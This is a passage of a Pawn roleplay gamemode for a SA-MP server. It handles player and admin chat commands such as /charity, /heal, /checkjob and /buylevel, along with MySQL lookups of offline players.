		if(!PlayerToPoint(2.0,playerid,1611.612548,-2177.123779,13.554687))
				{
					SendMessage(playerid, COLOR_LIGHTBLUE, "You are not at DMV.");
					return 1;
				}
				 if(DMVPrepare[playerid] == 0)
				 {
				 DMVPrepare[playerid] = 1;
				 return 1;
				 }
				 else {
				 SCM(playerid,COLOR_SINA3,"You already on Tutorial.");
				 return 1;
				 }
				 }*/
	//---------------------------------------------------------------
		if(strcmp(cmd, "/charity", true) == 0)
		{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /charity <Amount>");
					return 1;
				}
				moneys = strval(tmp);
				if(moneys < 10000 || moneys > 10000000)
				{
					SendMessage(playerid, COLOR_GRAD1, "Amount must be beetween $10,000 and $10,000,000.");
					return 1;
				}
				if(GetPlayerPool(playerid) < moneys)
				{
					SendMessage(playerid, COLOR_GRAD1, "You haven't that much money.");
					return 1;
				}
				if(TaxValue >= 999999999) return SCM(playerid, COLOR_YELLOW2, "Error: The Mayor Safebox is full.");
				GivePlayerPool(playerid, -moneys);
				GetPlayerName(playerid, sendername, sizeof(sendername));
				format(string, sizeof(string), "%s thank you for your donation of, $%s.",sendername, FormatNumber(moneys));
				PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
				SendMessage(playerid, COLOR_GRAD1, string);
				format(string,256,"%s has been charity $%s",PINFO[playerid][pName],FormatNumber(moneys));
				for(new i = 0;i<Akharish;i++)
				{
					if(PINFO[i][pLeader] == 7)
					{
						SCM(i,COLOR_LIGHTRED,string);
					}
				}
				TaxValue += moneys;
				SaveStuff();
			}
			return 1;
		}
	//-------------------------------[Stats]----------------------------------------------------
		if (strcmp(cmd, "/stats", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (gPlayerLogged[playerid] != 0)
				{
					ShowStats(playerid,playerid);
				}
				else
				{
					SendMessage(playerid, COLOR_GRAD1, "You are not Logged in!");
				}
			}
			return 1;
		}
		
		if (strcmp(cmd, "/checkoffline", true) == 0)
{
	if(PINFO[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			  if(PlayerInfo[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				if(PlayerInfo[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				if(PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /checkoffline <FullName>");
		new playa=ReturnUserEx(tmp);
		if(playa!=INVALID_PLAYER_ID&&PINFO[playa][pOnline] != 0)return SCM(playerid,COLOR_YELLOW2,"Error: That player is online.");
		//if(!strcmp(playa,PlayerInfo[playerid][pName],true))return SCM(playerid,COLOR_YELLOW2,"Error: You can't check yourself.");
		//if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		//if(playerid == playa) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for yourself.");
		new query[64];
		mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE pName='%e'",tmp);
		mysql_tquery(handle,query,"oncheckoffline","is",playerid,tmp);
	return 1;
}
				if (strcmp(cmd, "/ppin", true) == 0)
{
	if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /ppin <FullName>");
//		new playa=ReturnUserEx(tmp);
		//if(playa!=INVALID_PLAYER_ID&&PINFO[playa][pOnline] != 0)return SCM(playerid,COLOR_YELLOW2,"Error: That player is online.");
  //if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
/*
		if(PINFO[playa][pPinned] != 1)
		{
	 new strmstr[256];
	 format(strmstr,256,"%s's Pin is: ( {FFFFFF}No Pin Received{FFFF00} )");
	 SendClientMessage(playerid, COLOR_YELLOW, strmstr);
	 return 1;
	 }
	 */
		new query[64];
		mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE pName='%e'",tmp);
		mysql_tquery(handle,query,"onpinoffline","is",playerid,tmp);
	return 1;
}

				if (strcmp(cmd, "/reset", true) == 0)
{
	if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /reset <FullName>");
		new query[64];
		mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE pName='%e'",tmp);
		mysql_tquery(handle,query,"onmoneyoffline","is",playerid,tmp);
	return 1;
}




				if (strcmp(cmd, "/showsactivity", true) == 0)
{
	if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pSlp] == 0 && PINFO[playerid][pAlp] == 0 && PINFO[playerid][pMlp] == 0 && PINFO[playerid][pHlp] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /showsactivity <FullName>");
		new query[64];
		mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE pName='%e'",tmp);
		mysql_tquery(handle,query,"oncheckactivity","is",playerid,tmp);
	return 1;
}

				if (strcmp(cmd, "/checkactivity", true) == 0)
{
	if(PINFO[playerid][pLeader] == 0 || PINFO[playerid][pLeader] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /checkactivity <FullName>");
		new query[64];
		mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE pName='%e'",tmp);
		mysql_tquery(handle,query,"oncheckfactivity","is",playerid,tmp);
	return 1;
}





/*
				if (strcmp(cmd, "/pkey", true) == 0)
{
	if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /pkey <FullName>");
//		new playa=ReturnUserEx(tmp);
		//if(playa!=INVALID_PLAYER_ID&&PINFO[playa][pOnline] != 0)return SCM(playerid,COLOR_YELLOW2,"Error: That player is online.");
		//if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		new query[64];
		mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE pName='%e'",tmp);
		mysql_tquery(handle,query,"onkeyoffline","is",playerid,tmp);
	return 1;
}
*/
	//-------------------------------[Check]----------------------------------------------------
		if (strcmp(cmd, "/check", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (PlayerInfo[playerid][pAdmin] >= 6)
				{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /Check <Playerid/PartOfName>");
						return 1;
					}
				if(PlayerInfo[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				if(PlayerInfo[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				if(PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
					//giveplayerid = strval(tmp);
					giveplayerid = ReturnUser6(tmp);
					if(!IsPlayerConnected(giveplayerid)) return SCM(playerid,COLOR_YELLOW2,"Error: Player isn't connected.");
				   if(gPlayerLogged[giveplayerid] != 1)return SCM(playerid,COLOR_YELLOW2,"Error: Player isn't logged in yet.");
					if(IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
							if(giveplayerid == playerid)
							{
								SendMessage(playerid, COLOR_YELLOW2, "Error: You can't use this command for yourself.");
								return 1;
							}
						if(PINFO[playerid][pAdmin] < PINFO[giveplayerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
							ShowStats(playerid,giveplayerid);
							//new strr[512];
							//format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s has seen %s's stats.", PINFO[playerid][pName],PINFO[giveplayerid][pName]);
							//ABroadCast(COLOR_AdminWarn,strr,1);
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GRAD1, "No Such Player");
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW, "Error: Your admin level isn't high enough to use this command");
				}
			}
			return 1;
		}
		if(strcmp(cmd,"/heal",true) == 0)
		{
		if(TooHouse[playerid] != 9999)
		{
		if(HouseInfo[TooHouse[playerid]][hHel] == 1)
		{
		SetPlayerKoon(true, playerid,100);
		PlayerPlaySound(playerid,1083,0,0,0);
		new strr[512];
		GetPlayerName(playerid, sendername, sizeof(sendername));
		format(strr, sizeof(strr), "%s healed %sself.", sendername, (PINFO[playerid][pSex]==1)?("him"):("her"));
		ProxDetector(30.0, playerid, strr, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
		}
		}
		if(IsPlayerInHQ(playerid))
		{
		SetPlayerKoon(true, playerid,100);
		PlayerPlaySound(playerid,1083,0,0,0);
		new strr[512];
		GetPlayerName(playerid, sendername, sizeof(sendername));
		format(strr, sizeof(strr), "%s healed %sself.", sendername, (PINFO[playerid][pSex]==1)?("him"):("her"));
		ProxDetector(30.0, playerid, strr, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
		}
		if(IsPlayerInHQCl(playerid))
		{
		SetPlayerKoon(true, playerid,100);
		PlayerPlaySound(playerid,1083,0,0,0);
		new strr[512];
		GetPlayerName(playerid, sendername, sizeof(sendername));
		format(strr, sizeof(strr), "%s healed %sself.", sendername, (PINFO[playerid][pSex]==1)?("him"):("her"));
		ProxDetector(30.0, playerid, strr, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
		}
		new bizid = TooBiz[playerid];
		if((bizid == 51 || bizid == 52 || bizid == 53 || bizid == 74)&& IsACop(playerid))
		{
		SetPlayerKoon(true, playerid,100);
		SetPlayerZereh(playerid,100);
		PlayerPlaySound(playerid,1083,0,0,0);
		new strr[512];
		GetPlayerName(playerid, sendername, sizeof(sendername));
		format(strr, sizeof(strr), "%s healed %sself.", sendername, (PINFO[playerid][pSex]==1)?("him"):("her"));
		ProxDetector(30.0, playerid, strr, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
		}
		if(PINFO[playerid][pMember] == 4||PINFO[playerid][pLeader] == 4)
		{
		tmp = strtok(cmdtext,idx);
		if(strlen(tmp))
		{
		errormessage[playerid] = 1;
		}
		else
		{
		errormessage[playerid] = 0;
		}
		new idtaraf = ReturnUser6(tmp);
		tmp = strtok(cmdtext,idx);
		if(strlen(tmp))
		{
		errormessage2[playerid] = 1;
		}
		else
		{
		errormessage2[playerid] = 0;
		}
		new pool = strval(tmp);
		new car = GetPlayerVehicleID(playerid);
		if(IsAnAmbulance(car))
		{
		if(IsPlayerConnected(idtaraf) && GetPlayerVehicleID(idtaraf) == car)
		{
		if(pool > 0 && pool < 15)
		{
		if(idtaraf == playerid) return SCM(playerid,COLOR_SINA3,"You cannot heal yourself.");
		new Float:Khooon;
		GetPlayerHealth(idtaraf,Khooon);
		if(Khooon >= 100) return SCM(playerid,COLOR_Good,"That player is fully healed.");
		SetPlayerKoon(true, idtaraf,100);
		format(string,256,"~r~-$%d",pool);
		GameTextForPlayer(idtaraf, string, 5000, 1);
		new givename[MAX_PLAYER_NAME];
		GetPlayerName(idtaraf,givename,sizeof givename);
		GivePlayerPool(playerid,pool);
		format(string,256,"You have healed %s for $%d.",givename,pool);
		SCM(playerid,COLOR_Good,string);
        PlayerInfo[playerid][pFAct1] += 1;
        SaveKonVal(playerid, "pFAct1", PINFO[playerid][pFAct1]);
		return 1;
		}
		else
		{
		if(errormessage[playerid] == 1 && errormessage2[playerid] == 1)
		{
		SCM(playerid,COLOR_Good,"Type a money between 1 and 14");
		}
		return 1;
		}
		}
		else
		{
		if(errormessage[playerid] == 1 && errormessage2[playerid] == 1)
		{
		SCM(playerid,COLOR_Good,"Player Not connected or that player isn't in you vehicle.");
		}
		return 1;
		}
		}
		else
		{
		if(errormessage[playerid] == 1 && errormessage2[playerid] == 1)
		{
		SCM(playerid,COLOR_Good,"You are not in a Ambulance or Medic Chopper.");
		}
		return 1;
		}
		}
		return 1;
		}


		//-------------------------------------
		if (strcmp(cmd, "/checkjob", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(PINFO[playerid][pLeader] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				if(PlayerInfo[playerid][pLeader] >= 1 || PINFO[playerid][pRank] >= 6)
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /Checkjob <Playerid/PartOfName>");
						return 1;
					}
				giveplayerid = ReturnUser6(tmp);
					new jtext[40];
					if(PlayerInfo[giveplayerid][pJob] == 1) { jtext = "Detective"; }
					else if(PlayerInfo[giveplayerid][pJob] == 2) { jtext = "Lawyer"; }
					else if(PlayerInfo[giveplayerid][pJob] == 4) { jtext = "Drugs Dealer"; }
					else if(PlayerInfo[giveplayerid][pJob] == 5) { jtext = "Car Jacker"; }
					else if(PlayerInfo[giveplayerid][pJob] == 7) { jtext = "Car Mechanic"; }
					else if(PlayerInfo[giveplayerid][pJob] == 9) { jtext = "Arms Dealer"; }
					else if(PlayerInfo[giveplayerid][pJob] == 14) { jtext = "Bus Driver"; }
					else if(PlayerInfo[giveplayerid][pJob] == 16) { jtext = "Trucker"; }
					else if(PlayerInfo[giveplayerid][pJob] == 18) { jtext = "Farmer"; }
					else if(PlayerInfo[giveplayerid][pJob] == 20) { jtext = "Garbage man"; }
					else if(PlayerInfo[giveplayerid][pJob] == 21) { jtext = "Pizza Boy"; }
					else if(PlayerInfo[giveplayerid][pJob] == 22) { jtext = "Sweeper"; }
					else if(PlayerInfo[giveplayerid][pJob] == 23) { jtext = "Liquor Dealer"; }
					else if(PlayerInfo[giveplayerid][pJob] == 24) { jtext = "Oil Dealer"; }
					else { jtext = "Unemployed"; }

						if(IsPlayerConnected(giveplayerid))
						{
						new sttr[128];
					GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
					format(sttr, sizeof(sttr), "%s's job is{FFFFFF} %s", giveplayer, jtext);
							SCM(playerid, COLOR_YELLOW, sttr);
							return 1;
						}
						else
						{
						SCM(playerid,COLOR_SINA3,"Player not connected.");
						return 1;
						}
				 }
				 else {
				 SCM(playerid,COLOR_YELLOW2,"Error: Only leaders can use this command.");
				 return 1;
				 }
			}
			return 1;
		}

		if (strcmp(cmd, "/acheckjob", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] >= 1 || PlayerInfo[playerid][pSponser] == 1)
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /ACheckjob <Playerid/PartOfName>");
						return 1;
					}
				giveplayerid = ReturnUser6(tmp);
					new jtext[40];
					if(PlayerInfo[giveplayerid][pJob] == 1) { jtext = "Detective"; }
					else if(PlayerInfo[giveplayerid][pJob] == 2) { jtext = "Lawyer"; }
					else if(PlayerInfo[giveplayerid][pJob] == 4) { jtext = "Drugs Dealer"; }
					else if(PlayerInfo[giveplayerid][pJob] == 5) { jtext = "Car Jacker"; }
					else if(PlayerInfo[giveplayerid][pJob] == 7) { jtext = "Car Mechanic"; }
					else if(PlayerInfo[giveplayerid][pJob] == 9) { jtext = "Arms Dealer"; }
					else if(PlayerInfo[giveplayerid][pJob] == 14) { jtext = "Bus Driver"; }
					else if(PlayerInfo[giveplayerid][pJob] == 16) { jtext = "Trucker"; }
					else if(PlayerInfo[giveplayerid][pJob] == 18) { jtext = "Farmer"; }
					else if(PlayerInfo[giveplayerid][pJob] == 20) { jtext = "Garbage man"; }
					else if(PlayerInfo[giveplayerid][pJob] == 21) { jtext = "Pizza Boy"; }
					else if(PlayerInfo[giveplayerid][pJob] == 22) { jtext = "Sweeper"; }
					else { jtext = "Unemployed"; }

						if(IsPlayerConnected(giveplayerid))
						{
						new sttr[128];
					GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
					format(sttr, sizeof(sttr), "%s's job is{FFFFFF} %s", giveplayer, jtext);
							SCM(playerid, COLOR_YELLOW, sttr);
					   new sttrr[256];
					   format(sttrr,256,"{FFFFFF}Admin %s seen %s's job.", PINFO[playerid][pName], giveplayer);
					   //AdminWarn(sttrr);
							return 1;
						}
						else
						{
						SCM(playerid,COLOR_SINA3,"Player not connected.");
						return 1;
						}
				 }
				 else {
				 SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
				 return 1;
				 }
			}
			return 1;
		}
		
		
		
		
		
		
		
		
		//--------------------------------------------------------
		if (strcmp(cmd, "/number", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (PlayerInfo[playerid][pPhoneBook] == 1)
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /number <Playerid/PartOfName>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
				if(!IsPlayerConnected(giveplayerid)) return SCM(playerid,COLOR_YELLOW2,"Error: Player isn't connected.");
				  if(gPlayerLogged[giveplayerid] != 1)return SCM(playerid,COLOR_YELLOW2,"Error: Player isn't logged in yet.");
					if(IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
							new shomaretamas = PlayerInfo[giveplayerid][pPnumber];
							new sendernamex[25];
								GetPlayerName(playerid, sendernamex, sizeof(sendernamex));
								GetPlayerName(giveplayerid, sendername, sizeof(sendername));
								format(string, 80, "Name: %s, Ph: {FFFFFF}%s",sendername,FormatPhoneNumber(shomaretamas));
								SendMessage(playerid, COLOR_PURPLE, string);

						}
					}
					else
					{
						SendMessage(playerid, COLOR_GRAD1, "That player isn't connected");
					}
				}
				else
				{
					SendMessage(playerid, COLOR_RED, "You do not have a PhoneBook.");
				}
			}
			return 1;
		}
	//-------------------------------[LevelUp]--------------------------------------------------------------------------
		if(!strcmp(cmd,"/buylevel",true))
		{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(PlayerInfo[playerid][pLevel] >= 0)
			{
				new nxtlevel = PlayerInfo[playerid][pLevel]+1;
				new costlevel = nxtlevel*levelcost;
				new expamount;
					if(nxtlevel < 8) {expamount = nxtlevel*2;}
					else if(nxtlevel < 15 && nxtlevel > 7) {expamount = nxtlevel*3;}
					else if(nxtlevel > 14) {expamount = nxtlevel*4;}
				new infostring[256];
				if(GetPlayerPool(playerid) < costlevel)
				{
					format(infostring, 256, "You do not have enough Cash ($%s).",FormatNumber(costlevel));
					return SendMessage(playerid, COLOR_Good, infostring);
				}
				new LevelBaghi = expamount - PlayerInfo[playerid][pExp];
				if (PlayerInfo[playerid][pExp] < expamount)
				{
					format(infostring, 256, "You need more than %d Respect Points to level up.",LevelBaghi);
					return SendMessage(playerid, COLOR_YELLOW, infostring);
				}
				if(PlayerInfo[playerid][pLanguage] == 2)
				{
					format(string, sizeof(string),"Congratulations, You are now level %d.", nxtlevel);
				}
				else if(PlayerInfo[playerid][pLanguage] == 1)
				{
					format(string, sizeof(string), "Tabrik, To alan levele %d hasti.", nxtlevel);
				}
				SendMessage(playerid, COLOR_LIGHTRED, "[Shop]: You got 20 free golds for buy this level.");
				PINFO[playerid][pGold] += 20;
				SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
				SendMessage(playerid, COLOR_LIGHTRED, string);
				PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
				PlayerPlayMusic(playerid);
				GivePlayerPool(playerid, (-costlevel));
				PlayerInfo[playerid][pLevel]++;
				SaveKonVal(playerid, "pLevel", PINFO[playerid][pLevel]);
				SetPlayerScore(playerid,PlayerInfo[playerid][pLevel]);
				new admwarn[70];
                format(admwarn,70,"{FFFFFF}Player %s bought a level (Current Level: %d)", PINFO[playerid][pName], PINFO[playerid][pLevel]);
	            AdminWarn(admwarn);
				new string3[128];
				format(string3, sizeof(string3), "~y~You are now level ~n~~r~%d", nxtlevel);
				/*new r = PlayerInfo[playerid][pVeh1];
				if(nxtlevel == 2) {

				MashinOwner[PINFO[playerid][pCar_1]] = 9999;
				DestroyVehicle(PINFO[playerid][pCar_1], true);
				OwnedMashin[PINFO[playerid][pCar_1]] = 0;
				PINFO[playerid][pCar_1] = 0;
				SaveKonVal(playerid, "pCar_1", 0);
				vInfo[r][cLocationx] = 0.0;
				SaveKonFloatV(r, "cLocationx", 0);
				vInfo[r][cLocationy] = 0.0;
				SaveKonFloatV(r, "cLocationy", 0);
				vInfo[r][cLocationz] = 0.0;
				SaveKonFloatV(r, "cLocationz", 0);
				vInfo[r][cAngle] = 0.0;
				SaveKonFloatV(r, "cAngle", 0);
				vInfo[r][cColor1] = 9999;
				SaveKonValV(r, "cColor1", 9999);
				vInfo[r][cColor2] = 9999;
				SaveKonValV(r, "cColor2", 9999);
				vInfo[r][cModel] = 0;
				SaveKonValV(r, "cModel", 0);
				vInfo[r][cPrice] = 0;
				SaveKonValV(r, "cPrice", 0);
				strmid(vInfo[r][cPlate], "New Veh", 0, strlen("New Veh"), 255);
				SaveKonStrV(r, "cPlate", PINFO[playerid][cPlate]);
				vInfo[r][cLock] = 0;
				SaveKonValV(r, "cLock", 0);
				vInfo[r][cDestroyed] = 0;
				SaveKonValV(r, "cDestroyed", 0);
				PINFO[playerid][cFixed] = 0;
				SaveKonValV(r, "cFixed", 0);
				PINFO[playerid][cInsurance] = 0;
				SaveKonValV(r, "cInsurance", 0);
				vInfo[r][cFuel] = 0;
				SaveKonValV(r, "cFuel", 0);
				vInfo[r][cHealth] = 0.0;
				SaveKonFloatV(r, "cHealth", 0);
				vInfo[r][gLocationX] = 0;
				SaveKonFloatV(r, "gLocationX", 0);
				vInfo[r][gLocationY] = 0;
				SaveKonFloatV(r, "gLocationY", 0);
				vInfo[r][gLocationZ] = 0;
				SaveKonFloatV(r, "gLocationZ", 0);
				vInfo[r][gAngle] = 0;
				SaveKonFloatV(r, "gAngle", 0);
				vInfo[r][gParked] = 0;
				SaveKonValV(r, "gParked", 0);
				vInfo[r][cMod1] = 0;
				SaveKonValV(r, "cMod1", 0);
				vInfo[r][cMod3] = 0;
				SaveKonValV(r, "cMod3", 0);
				vInfo[r][cMod4] = 0;
				SaveKonValV(r, "cMod4", 0);
				vInfo[r][cMod5] = 0;
				SaveKonValV(r, "cMod5", 0);
				vInfo[r][cMod6] = 0;
				SaveKonValV(r, "cMod6", 0);
				vInfo[r][cMod7] = 0;
				SaveKonValV(r, "cMod7", 0);
				vInfo[r][cMod8] = 0;
				SaveKonValV(r, "cMod8", 0);
				vInfo[r][cMod9] = 0;
				SaveKonValV(r, "cMod9", 0);
				vInfo[r][cMod10] = 0;
				SaveKonValV(r, "cMod10", 0);
				vInfo[r][cMod11] = 0;
				SaveKonValV(r, "cMod11", 0);
				vInfo[r][cMod12] = 0;
				SaveKonValV(r, "cMod12", 0);
				vInfo[r][cMod13] = 0;
				SaveKonValV(r, "cMod13", 0);
				vInfo[r][cMod14] = 0;
				SaveKonValV(r, "cMod14", 0);
				vInfo[r][cMod15] = 0;
				SaveKonValV(r, "cMod15", 0);
				vInfo[r][cMod16] = 0;
				SaveKonValV(r, "cMod16", 0);
				vInfo[r][cMod17] = 0;
				SaveKonValV(r, "cMod17", 0);
				vInfo[r][cPaintJob] = 3;
				SaveKonValV(r, "cPaintJob", 3);
				vInfo[r][cKilo] = 0.0;
				SaveKonFloatV(r, "cKilo", 0);
				vInfo[r][cPanel] = 0;
				SaveKonValV(r, "cPanel", 0);
				PINFO[playerid][cDoors] = 0;
				SaveKonValV(r, "cDoors", 0);
				PINFO[playerid][cLights] = 0;
				SaveKonValV(r, "cLights", 0);
				PINFO[playerid][cTires] = 0;
				SaveKonValV(r, "cTires", 0);

				new rand;
				rand = random(sizeof(CarSpawn));
				new carid;


					carid = CreateVehicle(527, CarSpawn[rand][0], CarSpawn[rand][1], CarSpawn[rand][2], 89.143226, 1, 1,-1);

					PlayerInfo[playerid][pCar_1] = carid;
					SaveKonVal(playerid, "pCar_1", carid);
					OwnedMashin[carid] = 1;
					MashinOwner[carid] = playerid;

					vInfo[r][cLocationx] = CarSpawn[rand][0];
					SaveKonFloatV(r, "cLocationx", CarSpawn[rand][0]);
					vInfo[r][cLocationy] = CarSpawn[rand][1];
					SaveKonFloatV(r, "cLocationy", CarSpawn[rand][1]);
					vInfo[r][cLocationz] = CarSpawn[rand][2];
					SaveKonFloatV(r, "cLocationz", CarSpawn[rand][2]);
					vInfo[r][cAngle] = 89.143226;
					SaveKonFloatV(r, "cAngle", 89.143226);
					vInfo[r][cModel] = 527;
					SaveKonValV(r, "cModel", 527);

					SendMessage(playerid, COLOR_YELLOW, "Be Monasebate Level 2 Server Be To Yek Cadrona dad.");
					SendMessage(playerid, COLOR_YELLOW, "Be Checkpoint darj Shode rooye map boro va tahvil begir");
					vInfo[r][cLock] = 1;
					SaveKonValV(r, "cLock", 1);
					vInfo[r][cFixed] = 1;
					SaveKonValV(r, "cFixed", 1);
					vInfo[r][cFuel] = 100;
					SaveKonValV(r, "cFuel", 100);
					vInfo[r][cHealth] = 1000.0;
					SaveKonFloatV(r, "cHealth", 1000);
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_1];
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					SetVehicleParamsEx(PlayerInfo[playerid][pCar_1], 0, 0, 0, 1, 0, 0, 0);
			}
			else if(nxtlevel == 3) {
			MashinOwner[PINFO[playerid][pCar_1]] = 9999;
				DestroyVehicle(PINFO[playerid][pCar_1], true);
				OwnedMashin[PINFO[playerid][pCar_1]] = 0;
				PINFO[playerid][pCar_1] = 0;
				SaveKonVal(playerid, "pCar_1", 0);
				vInfo[r][cLocationx] = 0.0;
				SaveKonFloatV(r, "cLocationx", 0);
				vInfo[r][cLocationy] = 0.0;
				SaveKonFloatV(r, "cLocationy", 0);
				vInfo[r][cLocationz] = 0.0;
				SaveKonFloatV(r, "cLocationz", 0);
				vInfo[r][cAngle] = 0.0;
				SaveKonFloatV(r, "cAngle", 0);
				vInfo[r][cColor1] = 9999;
				SaveKonValV(r, "cColor1", 9999);
				vInfo[r][cColor2] = 9999;
				SaveKonValV(r, "cColor2", 9999);
				vInfo[r][cModel] = 0;
				SaveKonValV(r, "cModel", 0);
				vInfo[r][cPrice] = 0;
				SaveKonValV(r, "cPrice", 0);
				strmid(vInfo[r][cPlate], "New Veh", 0, strlen("New Veh"), 255);
				SaveKonStrV(r, "cPlate", PINFO[playerid][cPlate]);
				vInfo[r][cLock] = 0;
				SaveKonValV(r, "cLock", 0);
				vInfo[r][cDestroyed] = 0;
				SaveKonValV(r, "cDestroyed", 0);
				PINFO[playerid][cFixed] = 0;
				SaveKonValV(r, "cFixed", 0);
				PINFO[playerid][cInsurance] = 0;
				SaveKonValV(r, "cInsurance", 0);
				vInfo[r][cFuel] = 0;
				SaveKonValV(r, "cFuel", 0);
				vInfo[r][cHealth] = 0.0;
				SaveKonFloatV(r, "cHealth", 0);
				vInfo[r][gLocationX] = 0;
				SaveKonFloatV(r, "gLocationX", 0);
				vInfo[r][gLocationY] = 0;
				SaveKonFloatV(r, "gLocationY", 0);
				vInfo[r][gLocationZ] = 0;
				SaveKonFloatV(r, "gLocationZ", 0);
				vInfo[r][gAngle] = 0;
				SaveKonFloatV(r, "gAngle", 0);
				vInfo[r][gParked] = 0;
				SaveKonValV(r, "gParked", 0);
				vInfo[r][cMod1] = 0;
				SaveKonValV(r, "cMod1", 0);
				vInfo[r][cMod3] = 0;
				SaveKonValV(r, "cMod3", 0);
				vInfo[r][cMod4] = 0;
				SaveKonValV(r, "cMod4", 0);
				vInfo[r][cMod5] = 0;
				SaveKonValV(r, "cMod5", 0);
				vInfo[r][cMod6] = 0;
				SaveKonValV(r, "cMod6", 0);
				vInfo[r][cMod7] = 0;
				SaveKonValV(r, "cMod7", 0);
				vInfo[r][cMod8] = 0;
				SaveKonValV(r, "cMod8", 0);
				vInfo[r][cMod9] = 0;
				SaveKonValV(r, "cMod9", 0);
				vInfo[r][cMod10] = 0;
				SaveKonValV(r, "cMod10", 0);
				vInfo[r][cMod11] = 0;
				SaveKonValV(r, "cMod11", 0);
